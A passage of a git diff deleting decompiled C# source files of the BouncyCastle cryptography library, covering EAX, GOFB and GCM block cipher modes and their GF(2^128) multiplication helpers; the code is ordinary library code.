InvalidCipherTextException("data too short"); - } - Check.OutputLength(outBytes, outOff, num - macSize, "Output buffer too short"); - if (num > macSize) - { - mac.BlockUpdate(bufBlock, 0, num - macSize); - cipher.ProcessBlock(bufBlock, 0, array, 0); - Array.Copy(array, 0, outBytes, outOff, num - macSize); - } - CalculateMac(); - if (!VerifyMac(bufBlock, num - macSize)) - { - throw new InvalidCipherTextException("mac check in EAX failed"); - } - Reset(clearMac: false); - return num - macSize; - } - - public virtual byte[] GetMac() - { - byte[] array = new byte[macSize]; - Array.Copy(macBlock, 0, array, 0, macSize); - return array; - } - - public virtual int GetUpdateOutputSize(int len) - { - int num = len + bufOff; - if (!forEncryption) - { - if (num < macSize) - { - return 0; - } - num -= macSize; - } - return num - num % blockSize; - } - - public virtual int GetOutputSize(int len) - { - int num = len + bufOff; - if (forEncryption) - { - return num + macSize; - } - if (num >= macSize) - { - return num - macSize; - } - return 0; - } - - private int Process(byte b, byte[] outBytes, int outOff) - { - bufBlock[bufOff++] = b; - if (bufOff == bufBlock.Length) - { - Check.OutputLength(outBytes, outOff, blockSize, "Output buffer is too short"); - int result; - if (forEncryption) - { - result = cipher.ProcessBlock(bufBlock, 0, outBytes, outOff); - mac.BlockUpdate(outBytes, outOff, blockSize); - } - else - { - mac.BlockUpdate(bufBlock, 0, blockSize); - result = cipher.ProcessBlock(bufBlock, 0, outBytes, outOff); - } - bufOff = 0; - if (!forEncryption) - { - Array.Copy(bufBlock, blockSize, bufBlock, 0, macSize); - bufOff = macSize; - } - return result; - } - return 0; - } - - private bool VerifyMac(byte[] mac, int off) - { - int num = 0; - for (int i = 0; i < macSize; i++) - { - num |= macBlock[i] ^ mac[off + i]; - } - return num == 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/GOfbBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/GOfbBlockCipher.cs deleted file mode 100644 index cac1b47..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/GOfbBlockCipher.cs +++ /dev/null @@ -1,138 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class GOfbBlockCipher : IBlockCipher -{ - private const int C1 = 16843012; - - private const int C2 = 16843009; - - private byte[] IV; - - private byte[] ofbV; - - private byte[] ofbOutV; - - private readonly int blockSize; - - private readonly IBlockCipher cipher; - - private bool firstStep = true; - - private int N3; - - private int N4; - - public string AlgorithmName => cipher.AlgorithmName + "/GCTR"; - - public bool IsPartialBlockOkay => true; - - public GOfbBlockCipher(IBlockCipher cipher) - { - this.cipher = cipher; - blockSize = cipher.GetBlockSize(); - if (blockSize != 8) - { - throw new ArgumentException("GCTR only for 64 bit block ciphers"); - } - IV = new byte[cipher.GetBlockSize()]; - ofbV = new byte[cipher.GetBlockSize()]; - ofbOutV = new byte[cipher.GetBlockSize()]; - } - - public IBlockCipher GetUnderlyingCipher() - { - return cipher; - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - firstStep = true; - N3 = 0; - N4 = 0; - if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - byte[] iV = parametersWithIV.GetIV(); - if (iV.Length < IV.Length) - { - Array.Copy(iV, 0, IV, IV.Length - iV.Length, iV.Length); - for (int i = 0; i < IV.Length - iV.Length; i++) - { - IV[i] = 0; - } - } - else - { - Array.Copy(iV, 0, IV, 0, IV.Length); - } - parameters = parametersWithIV.Parameters; - } - Reset(); - if (parameters != null) - { - cipher.Init(forEncryption: true, parameters); - } - } - - public int GetBlockSize() - { - return blockSize; - } - - public int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (inOff + blockSize > input.Length) - { - throw new DataLengthException("input buffer too short"); - } - if (outOff + blockSize > output.Length) - { - throw new DataLengthException("output buffer too short"); - } - if (firstStep) - { - firstStep = false; - cipher.ProcessBlock(ofbV, 0, ofbOutV, 0); - N3 = bytesToint(ofbOutV, 0); - N4 = bytesToint(ofbOutV, 4); - } - N3 += 16843009; - N4 += 16843012; - if (N4 < 16843012 && N4 > 0) - { - N4++; - } - intTobytes(N3, ofbV, 0); - intTobytes(N4, ofbV, 4); - cipher.ProcessBlock(ofbV, 0, ofbOutV, 0); - for (int i = 0; i < blockSize; i++) - { - output[outOff + i] = (byte)(ofbOutV[i] ^ input[inOff + i]); - } - Array.Copy(ofbV, blockSize, ofbV, 0, ofbV.Length - blockSize); - Array.Copy(ofbOutV, 0, ofbV, ofbV.Length - blockSize, blockSize); - return blockSize; - } - - public void Reset() - { - Array.Copy(IV, 0, ofbV, 0, IV.Length); - cipher.Reset(); - } - - private int bytesToint(byte[] inBytes, int inOff) - { - return (int)((inBytes[inOff + 3] << 24) & 0xFF000000u) + ((inBytes[inOff + 2] << 16) & 0xFF0000) + ((inBytes[inOff + 1] << 8) & 0xFF00) + (inBytes[inOff] & 0xFF); - } - - private void intTobytes(int num, byte[] outBytes, int outOff) - { - outBytes[outOff + 3] = (byte)(num >> 24); - outBytes[outOff + 2] = (byte)(num >> 16); - outBytes[outOff + 1] = (byte)(num >> 8); - outBytes[outOff] = (byte)num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/BasicGcmExponentiator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/BasicGcmExponentiator.cs deleted file mode 100644 index 3bc3f69..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/BasicGcmExponentiator.cs +++ /dev/null @@ -1,33 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Modes.Gcm; - -public class BasicGcmExponentiator : IGcmExponentiator -{ - private uint[] x; - - public void Init(byte[] x) - { - this.x = GcmUtilities.AsUints(x); - } - - public void ExponentiateX(long pow, byte[] output) - { - uint[] array = GcmUtilities.OneAsUints(); - if (pow > 0) - { - uint[] y = Arrays.Clone(x); - do - { - if ((pow & 1) != 0) - { - GcmUtilities.Multiply(array, y); - } - GcmUtilities.Multiply(y, y); - pow >>= 1; - } - while (pow > 0); - } - GcmUtilities.AsBytes(array, output); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/BasicGcmMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/BasicGcmMultiplier.cs deleted file mode 100644 index eae4a56..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/BasicGcmMultiplier.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Modes.Gcm; - -public class BasicGcmMultiplier : IGcmMultiplier -{ - private uint[] H; - - public void Init(byte[] H) - { - this.H = GcmUtilities.AsUints(H); - } - - public void MultiplyH(byte[] x) - { - uint[] x2 = GcmUtilities.AsUints(x); - GcmUtilities.Multiply(x2, H); - GcmUtilities.AsBytes(x2, x); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/GcmUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/GcmUtilities.cs deleted file mode 100644 index ebf406c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/GcmUtilities.cs +++ /dev/null @@ -1,403 +0,0 @@ -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Modes.Gcm; - -internal abstract class GcmUtilities -{ - private const uint E1 = 3774873600u; - - private const ulong E1L = 16212958658533785600uL; - - private static readonly uint[] LOOKUP = GenerateLookup(); - - private static uint[] GenerateLookup() - { - uint[] array = new uint[256]; - for (int i = 0; i < 256; i++) - { - uint num = 0u; - for (int num2 = 7; num2 >= 0; num2--) - { - if ((i & (1 << num2)) != 0) - { - num ^= (uint)(-520093696 >>> 7 - num2); - } - } - array[i] = num; - } - return array; - } - - internal static byte[] OneAsBytes() - { - return new byte[16] - { - 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0 - }; - } - - internal static uint[] OneAsUints() - { - return new uint[4] { 2147483648u, 0u, 0u, 0u }; - } - - internal static ulong[] OneAsUlongs() - { - return new ulong[2] { 9223372036854775808uL, 0uL }; - } - - internal static byte[] AsBytes(uint[] x) - { - return Pack.UInt32_To_BE(x); - } - - internal static void AsBytes(uint[] x, byte[] z) - { - Pack.UInt32_To_BE(x, z, 0); - } - - internal static byte[] AsBytes(ulong[] x) - { - byte[] array = new byte[16]; - Pack.UInt64_To_BE(x, array, 0); - return array; - } - - internal static void AsBytes(ulong[] x, byte[] z) - { - Pack.UInt64_To_BE(x, z, 0); - } - - internal static uint[] AsUints(byte[] bs) - { - uint[] array = new uint[4]; - Pack.BE_To_UInt32(bs, 0, array); - return array; - } - - internal static void AsUints(byte[] bs, uint[] output) - { - Pack.BE_To_UInt32(bs, 0, output); - } - - internal static ulong[] AsUlongs(byte[] x) - { - ulong[] array = new ulong[2]; - Pack.BE_To_UInt64(x, 0, array); - return array; - } - - public static void AsUlongs(byte[] x, ulong[] z) - { - Pack.BE_To_UInt64(x, 0, z); - } - - internal static void Multiply(byte[] x, byte[] y) - { - uint[] x2 = AsUints(x); - uint[] y2 = AsUints(y); - Multiply(x2, y2); - AsBytes(x2, x); - } - - internal static void Multiply(uint[] x, uint[] y) - { - uint num = x[0]; - uint num2 = x[1]; - uint num3 = x[2]; - uint num4 = x[3]; - uint num5 = 0u; - uint num6 = 0u; - uint num7 = 0u; - uint num8 = 0u; - for (int i = 0; i < 4; i++) - { - int num9 = (int)y[i]; - for (int j = 0; j < 32; j++) - { - uint num10 = (uint)(num9 >> 31); - num9 <<= 1; - num5 ^= num & num10; - num6 ^= num2 & num10; - num7 ^= num3 & num10; - num8 ^= num4 & num10; - uint num11 = (uint)((int)(num4 << 31) >> 8); - num4 = (num4 >> 1) | (num3 << 31); - num3 = (num3 >> 1) | (num2 << 31); - num2 = (num2 >> 1) | (num << 31); - num = (num >> 1) ^ (num11 & 0xE1000000u); - } - } - x[0] = num5; - x[1] = num6; - x[2] = num7; - x[3] = num8; - } - - internal static void Multiply(ulong[] x, ulong[] y) - { - ulong num = x[0]; - ulong num2 = x[1]; - ulong num3 = 0uL; - ulong num4 = 0uL; - for (int i = 0; i < 2; i++) - { - long num5 = (long)y[i]; - for (int j = 0; j < 64; j++) - { - ulong num6 = (ulong)(num5 >> 63); - num5 <<= 1; - num3 ^= num & num6; - num4 ^= num2 & num6; - ulong num7 = (ulong)((long)(num2 << 63) >> 8); - num2 = (num2 >> 1) | (num << 63); - num = (num >> 1) ^ (num7 & 0xE100000000000000uL); - } - } - x[0] = num3; - x[1] = num4; - } - - internal static void MultiplyP(uint[] x) - { - uint num = (uint)((int)ShiftRight(x) >> 8); - uint[] array; - (array = x)[0] = array[0] ^ (num & 0xE1000000u); - } - - internal static void MultiplyP(uint[] x, uint[] z) - { - uint num = (uint)((int)ShiftRight(x, z) >> 8); - uint[] array; - (array = z)[0] = array[0] ^ (num & 0xE1000000u); - } - - internal static void MultiplyP8(uint[] x) - { - uint num = ShiftRightN(x, 8); - uint[] array; - (array = x)[0] = array[0] ^ LOOKUP[num >> 24]; - } - - internal static void MultiplyP8(uint[] x, uint[] y) - { - uint num = ShiftRightN(x, 8, y); - uint[] array; - (array = y)[0] = array[0] ^ LOOKUP[num >> 24]; - } - - internal static uint ShiftRight(uint[] x) - { - uint num = x[0]; - x[0] = num >> 1; - uint num2 = num << 31; - num = x[1]; - x[1] = (num >> 1) | num2; - num2 = num << 31; - num = x[2]; - x[2] = (num >> 1) | num2; - num2 = num << 31; - num = x[3]; - x[3] = (num >> 1) | num2; - return num << 31; - } - - internal static uint ShiftRight(uint[] x, uint[] z) - { - uint num = x[0]; - z[0] = num >> 1; - uint num2 = num << 31; - num = x[1]; - z[1] = (num >> 1) | num2; - num2 = num << 31; - num = x[2]; - z[2] = (num >> 1) | num2; - num2 = num << 31; - num = x[3]; - z[3] = (num >> 1) | num2; - return num << 31; - } - - internal static uint ShiftRightN(uint[] x, int n) - { - uint num = x[0]; - int num2 = 32 - n; - x[0] = num >> n; - uint num3 = num << num2; - num = x[1]; - x[1] = (num >> n) | num3; - num3 = num << num2; - num = x[2]; - x[2] = (num >> n) | num3; - num3 = num << num2; - num = x[3]; - x[3] = (num >> n) | num3; - return num << num2; - } - - internal static uint ShiftRightN(uint[] x, int n, uint[] z) - { - uint num = x[0]; - int num2 = 32 - n; - z[0] = num >> n; - uint num3 = num << num2; - num = x[1]; - z[1] = (num >> n) | num3; - num3 = num << num2; - num = x[2]; - z[2] = (num >> n) | num3; - num3 = num << num2; - num = x[3]; - z[3] = (num >> n) | num3; - return num << num2; - } - - internal static void Xor(byte[] x, byte[] y) - { - int num = 0; - do - { - byte[] array2; - byte[] array = (array2 = x); - int num2 = num; - nint num3 = num2; - array[num2] = (byte)(array2[num3] ^ y[num]); - num++; - byte[] array3 = (array2 = x); - int num4 = num; - num3 = num4; - array3[num4] = (byte)(array2[num3] ^ y[num]); - num++; - byte[] array4 = (array2 = x); - int num5 = num; - num3 = num5; - array4[num5] = (byte)(array2[num3] ^ y[num]); - num++; - byte[] array5 = (array2 = x); - int num6 = num; - num3 = num6; - array5[num6] = (byte)(array2[num3] ^ y[num]); - num++; - } - while (num < 16); - } - - internal static void Xor(byte[] x, byte[] y, int yOff) - { - int num = 0; - do - { - byte[] array2; - byte[] array = (array2 = x); - int num2 = num; - nint num3 = num2; - array[num2] = (byte)(array2[num3] ^ y[yOff + num]); - num++; - byte[] array3 = (array2 = x); - int num4 = num; - num3 = num4; - array3[num4] = (byte)(array2[num3] ^ y[yOff + num]); - num++; - byte[] array4 = (array2 = x); - int num5 = num; - num3 = num5; - array4[num5] = (byte)(array2[num3] ^ y[yOff + num]); - num++; - byte[] array5 = (array2 = x); - int num6 = num; - num3 = num6; - array5[num6] = (byte)(array2[num3] ^ y[yOff + num]); - num++; - } - while (num < 16); - } - - internal static void Xor(byte[] x, int xOff, byte[] y, int yOff, byte[] z, int zOff) - { - int num = 0; - do - { - z[zOff + num] = (byte)(x[xOff + num] ^ y[yOff + num]); - num++; - z[zOff + num] = (byte)(x[xOff + num] ^ y[yOff + num]); - num++; - z[zOff + num] = (byte)(x[xOff + num] ^ y[yOff + num]); - num++; - z[zOff + num] = (byte)(x[xOff + num] ^ y[yOff + num]); - num++; - } - while (num < 16); - } - - internal static void Xor(byte[] x, byte[] y, int yOff, int yLen) - { - while (--yLen >= 0) - { - byte[] array2; - byte[] array = (array2 = x); - int num = yLen; - nint num2 = num; - array[num] = (byte)(array2[num2] ^ y[yOff + yLen]); - } - } - - internal static void Xor(byte[] x, int xOff, byte[] y, int yOff, int len) - { - while (--len >= 0) - { - byte[] array2; - byte[] array = (array2 = x); - int num = xOff + len; - nint num2 = num; - array[num] = (byte)(array2[num2] ^ y[yOff + len]); - } - } - - internal static void Xor(byte[] x, byte[] y, byte[] z) - { - int num = 0; - do - { - z[num] = (byte)(x[num] ^ y[num]); - num++; - z[num] = (byte)(x[num] ^ y[num]); - num++; - z[num] = (byte)(x[num] ^ y[num]); - num++; - z[num] = (byte)(x[num] ^ y[num]); - num++; - } - while (num < 16); - } - - internal static void Xor(uint[] x, uint[] y) - { - uint[] array; - (array = x)[0] = array[0] ^ y[0]; - (array = x)[1] = array[1] ^ y[1]; - (array = x)[2] = array[2] ^ y[2]; - (array = x)[3] = array[3] ^ y[3]; - } - - internal static void Xor(uint[] x, uint[] y, uint[] z) - { - z[0] = x[0] ^ y[0]; - z[1] = x[1] ^ y[1]; - z[2] = x[2] ^ y[2]; - z[3] = x[3] ^ y[3]; - } - - internal static void Xor(ulong[] x, ulong[] y) - { - ulong[] array; - (array = x)[0] = array[0] ^ y[0]; - (array = x)[1] = array[1] ^ y[1]; - } - - internal static void Xor(ulong[] x, ulong[] y, ulong[] z) - { - z[0] = x[0] ^ y[0]; - z[1] = x[1] ^ y[1]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/IGcmExponentiator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/IGcmExponentiator.cs deleted file mode 100644 index dd332aa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/IGcmExponentiator.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Modes.Gcm; - -public interface IGcmExponentiator -{ - void Init(byte[] x); - - void ExponentiateX(long pow, byte[] output); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/IGcmMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/IGcmMultiplier.cs deleted file mode 100644 index f3d8abe..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/IGcmMultiplier.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Modes.Gcm; - -public interface IGcmMultiplier -{ - void Init(byte[] H); - - void MultiplyH(byte[] x); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/Tables1kGcmExponentiator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/Tables1kGcmExponentiator.cs deleted file mode 100644 index 2d59af7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/Tables1kGcmExponentiator.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Modes.Gcm; - -public class Tables1kGcmExponentiator : IGcmExponentiator -{ - private IList lookupPowX2; - - public void Init(byte[] x) - { - uint[] array = GcmUtilities.AsUints(x); - if (lookupPowX2 == null || !Arrays.AreEqual(array, (uint[])lookupPowX2[0])) - { - lookupPowX2 = Platform.CreateArrayList(8); - lookupPowX2.Add(array); - } - } - - public void ExponentiateX(long pow, byte[] output) - { - uint[] x = GcmUtilities.OneAsUints(); - int num = 0; - while (pow > 0) - { - if ((pow & 1) != 0) - { - EnsureAvailable(num); - GcmUtilities.Multiply(x, (uint[])lookupPowX2[num]); - } - num++; - pow >>= 1; - } - GcmUtilities.AsBytes(x, output); - } - - private void EnsureAvailable(int bit) - { - int num = lookupPowX2.Count; - if (num <= bit) - { - uint[] array = (uint[])lookupPowX2[num - 1]; - do - { - array = Arrays.Clone(array); - GcmUtilities.Multiply(array, array); - lookupPowX2.Add(array); - } - while (++num <= bit); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/Tables64kGcmMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/Tables64kGcmMultiplier.cs deleted file mode 100644 index 482001e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/Tables64kGcmMultiplier.cs +++ /dev/null @@ -1,73 +0,0 @@ -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Modes.Gcm; - -public class Tables64kGcmMultiplier : IGcmMultiplier -{ - private byte[] H; - - private uint[][][] M; - - public void Init(byte[] H) - { - if (M == null) - { - M = new uint[16][][]; - } - else if (Arrays.AreEqual(this.H, H)) - { - return; - } - this.H = Arrays.Clone(H); - M[0] = new uint[256][]; - M[0][0] = new uint[4]; - M[0][128] = GcmUtilities.AsUints(H); - for (int num = 64; num >= 1; num >>= 1) - { - uint[] array = (uint[])M[0][num + num].Clone(); - GcmUtilities.MultiplyP(array); - M[0][num] = array; - } - int num2 = 0; - while (true) - { - for (int i = 2; i < 256; i += i) - { - for (int j = 1; j < i; j++) - { - uint[] array2 = (uint[])M[num2][i].Clone(); - GcmUtilities.Xor(array2, M[num2][j]); - M[num2][i + j] = array2; - } - } - if (++num2 == 16) - { - break; - } - M[num2] = new uint[256][]; - M[num2][0] = new uint[4]; - for (int num3 = 128; num3 > 0; num3 >>= 1) - { - uint[] array3 = (uint[])M[num2 - 1][num3].Clone(); - GcmUtilities.MultiplyP8(array3); - M[num2][num3] = array3; - } - } - } - - public void MultiplyH(byte[] x) - { - uint[] array = new uint[4]; - for (int i = 0; i != 16; i++) - { - uint[] array2 = M[i][x[i]]; - uint[] array3; - (array3 = array)[0] = array3[0] ^ array2[0]; - (array3 = array)[1] = array3[1] ^ array2[1]; - (array3 = array)[2] = array3[2] ^ array2[2]; - (array3 = array)[3] = array3[3] ^ array2[3]; - } - Pack.UInt32_To_BE(array, x, 0); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/Tables8kGcmMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/Tables8kGcmMultiplier.cs deleted file mode 100644 index 81693ec..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/Gcm/Tables8kGcmMultiplier.cs +++ /dev/null @@ -1,92 +0,0 @@ -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Modes.Gcm; - -public class Tables8kGcmMultiplier : IGcmMultiplier -{ - private byte[] H; - - private uint[][][] M; - - public void Init(byte[] H) - { - if (M == null) - { - M = new uint[32][][]; - } - else if (Arrays.AreEqual(this.H, H)) - { - return; - } - this.H = Arrays.Clone(H); - M[0] = new uint[16][]; - M[1] = new uint[16][]; - M[0][0] = new uint[4]; - M[1][0] = new uint[4]; - M[1][8] = GcmUtilities.AsUints(H); - for (int num = 4; num >= 1; num >>= 1) - { - uint[] array = (uint[])M[1][num + num].Clone(); - GcmUtilities.MultiplyP(array); - M[1][num] = array; - } - uint[] array2 = (uint[])M[1][1].Clone(); - GcmUtilities.MultiplyP(array2); - M[0][8] = array2; - for (int num2 = 4; num2 >= 1; num2 >>= 1) - { - uint[] array3 = (uint[])M[0][num2 + num2].Clone(); - GcmUtilities.MultiplyP(array3); - M[0][num2] = array3; - } - int num3 = 0; - while (true) - { - for (int i = 2; i < 16; i += i) - { - for (int j = 1; j < i; j++) - { - uint[] array4 = (uint[])M[num3][i].Clone(); - GcmUtilities.Xor(array4, M[num3][j]); - M[num3][i + j] = array4; - } - } - if (++num3 == 32) - { - break; - } - if (num3 > 1) - { - M[num3] = new uint[16][]; - M[num3][0] = new uint[4]; - for (int num4 = 8; num4 > 0; num4 >>= 1) - { - uint[] array5 = (uint[])M[num3 - 2][num4].Clone(); - GcmUtilities.MultiplyP8(array5); - M[num3][num4] = array5; - } - } - } - } - - public void MultiplyH(byte[] x) - { - uint[] array = new uint[4]; - for (int num = 15; num >= 0; num--) - { - uint[] array2 = M[num + num][x[num] & 0xF]; - uint[] array3; - (array3 = array)[0] = array3[0] ^ array2[0]; - (array3 = array)[1] = array3[1] ^ array2[1]; - (array3 = array)[2] = array3[2] ^ array2[2]; - (array3 = array)[3] = array3[3] ^ array2[3]; - array2 = M[num + num + 1][(x[num] & 0xF0) >> 4]; - (array3 = array)[0] = array3[0] ^ array2[0]; - (array3 = array)[1] = array3[1] ^ array2[1]; - (array3 = array)[2] = array3[2] ^ array2[2]; - (array3 = array)[3] = array3[3] ^ array2[3]; - } - Pack.UInt32_To_BE(array, x, 0); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/GcmBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/GcmBlockCipher.cs deleted file mode 100644 index 3ff7ecc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/GcmBlockCipher.cs +++ /dev/null @@ -1,556 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Modes.Gcm; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class GcmBlockCipher : IAeadBlockCipher -{ - private const int BlockSize = 16; - - private readonly IBlockCipher cipher; - - private readonly IGcmMultiplier multiplier; - - private IGcmExponentiator exp; - - private bool forEncryption; - - private bool initialised; - - private int macSize; - - private byte[] lastKey; - - private byte[] nonce; - - private byte[] initialAssociatedText; - - private byte[] H; - - private byte[] J0; - - private byte[] bufBlock; - - private byte[] macBlock; - - private byte[] S; - - private byte[] S_at; - - private byte[] S_atPre; - - private byte[] counter; - - private uint blocksRemaining; - - private int bufOff; - - private ulong totalLength; - - private byte[] atBlock; - - private int atBlockPos; - - private ulong atLength; - - private ulong atLengthPre; - - public virtual string AlgorithmName => cipher.AlgorithmName + "/GCM"; - - public GcmBlockCipher(IBlockCipher c) - : this(c, null) - { - } - - public GcmBlockCipher(IBlockCipher c, IGcmMultiplier m) - { - if (c.GetBlockSize() != 16) - { - throw new ArgumentException("cipher required with a block size of " + 16 + "."); - } - if (m == null) - { - m = new Tables8kGcmMultiplier(); - } - cipher = c; - multiplier = m; - } - - public IBlockCipher GetUnderlyingCipher() - { - return cipher; - } - - public virtual int GetBlockSize() - { - return 16; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - this.forEncryption = forEncryption; - macBlock = null; - initialised = true; - byte[] array = null; - KeyParameter keyParameter; - if (parameters is AeadParameters) - { - AeadParameters aeadParameters = (AeadParameters)parameters; - array = aeadParameters.GetNonce(); - initialAssociatedText = aeadParameters.GetAssociatedText(); - int num = aeadParameters.MacSize; - if (num < 32 || num > 128 || num % 8 != 0) - { - throw new ArgumentException("Invalid value for MAC size: " + num); - } - macSize = num / 8; - keyParameter = aeadParameters.Key; - } - else - { - if (!(parameters is ParametersWithIV)) - { - throw new ArgumentException("invalid parameters passed to GCM"); - } - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - array = parametersWithIV.GetIV(); - initialAssociatedText = null; - macSize = 16; - keyParameter = (KeyParameter)parametersWithIV.Parameters; - } - int num2 = (forEncryption ? 16 : (16 + macSize)); - bufBlock = new byte[num2]; - if (array == null || array.Length < 1) - { - throw new ArgumentException("IV must be at least 1 byte"); - } - if (forEncryption && nonce != null && Arrays.AreEqual(nonce, array)) - { - if (keyParameter == null) - { - throw new ArgumentException("cannot reuse nonce for GCM encryption"); - } - if (lastKey != null && Arrays.AreEqual(lastKey, keyParameter.GetKey())) - { - throw new ArgumentException("cannot reuse nonce for GCM encryption"); - } - } - nonce = array; - if (keyParameter != null) - { - lastKey = keyParameter.GetKey(); - } - if (keyParameter != null) - { - cipher.Init(forEncryption: true, keyParameter); - H = new byte[16]; - cipher.ProcessBlock(H, 0, H, 0); - multiplier.Init(H); - exp = null; - } - else if (H == null) - { - throw new ArgumentException("Key must be specified in initial init"); - } - J0 = new byte[16]; - if (nonce.Length == 12) - { - Array.Copy(nonce, 0, J0, 0, nonce.Length); - J0[15] = 1; - } - else - { - gHASH(J0, nonce, nonce.Length); - byte[] array2 = new byte[16]; - Pack.UInt64_To_BE((ulong)nonce.Length * 8uL, array2, 8); - gHASHBlock(J0, array2); - } - S = new byte[16]; - S_at = new byte[16]; - S_atPre = new byte[16]; - atBlock = new byte[16]; - atBlockPos = 0; - atLength = 0uL; - atLengthPre = 0uL; - counter = Arrays.Clone(J0); - blocksRemaining = 4294967294u; - bufOff = 0; - totalLength = 0uL; - if (initialAssociatedText != null) - { - ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length); - } - } - - public virtual byte[] GetMac() - { - if (macBlock != null) - { - return Arrays.Clone(macBlock); - } - return new byte[macSize]; - } - - public virtual int GetOutputSize(int len) - { - int num = len + bufOff; - if (forEncryption) - { - return num + macSize; - } - if (num >= macSize) - { - return num - macSize; - } - return 0; - } - - public virtual int GetUpdateOutputSize(int len) - { - int num = len + bufOff; - if (!forEncryption) - { - if (num < macSize) - { - return 0; - } - num -= macSize; - } - return num - num % 16; - } - - public virtual void ProcessAadByte(byte input) - { - CheckStatus(); - atBlock[atBlockPos] = input; - if (++atBlockPos == 16) - { - gHASHBlock(S_at, atBlock); - atBlockPos = 0; - atLength += 16uL; - } - } - - public virtual void ProcessAadBytes(byte[] inBytes, int inOff, int len) - { - CheckStatus(); - for (int i = 0; i < len; i++) - { - atBlock[atBlockPos] = inBytes[inOff + i]; - if (++atBlockPos == 16) - { - gHASHBlock(S_at, atBlock); - atBlockPos = 0; - atLength += 16uL; - } - } - } - - private void InitCipher() - { - if (atLength != 0) - { - Array.Copy(S_at, 0, S_atPre, 0, 16); - atLengthPre = atLength; - } - if (atBlockPos > 0) - { - gHASHPartial(S_atPre, atBlock, 0, atBlockPos); - atLengthPre += (uint)atBlockPos; - } - if (atLengthPre != 0) - { - Array.Copy(S_atPre, 0, S, 0, 16); - } - } - - public virtual int ProcessByte(byte input, byte[] output, int outOff) - { - CheckStatus(); - bufBlock[bufOff] = input; - if (++bufOff == bufBlock.Length) - { - ProcessBlock(bufBlock, 0, output, outOff); - if (forEncryption) - { - bufOff = 0; - } - else - { - Array.Copy(bufBlock, 16, bufBlock, 0, macSize); - bufOff = macSize; - } - return 16; - } - return 0; - } - - public virtual int ProcessBytes(byte[] input, int inOff, int len, byte[] output, int outOff) - { - CheckStatus(); - 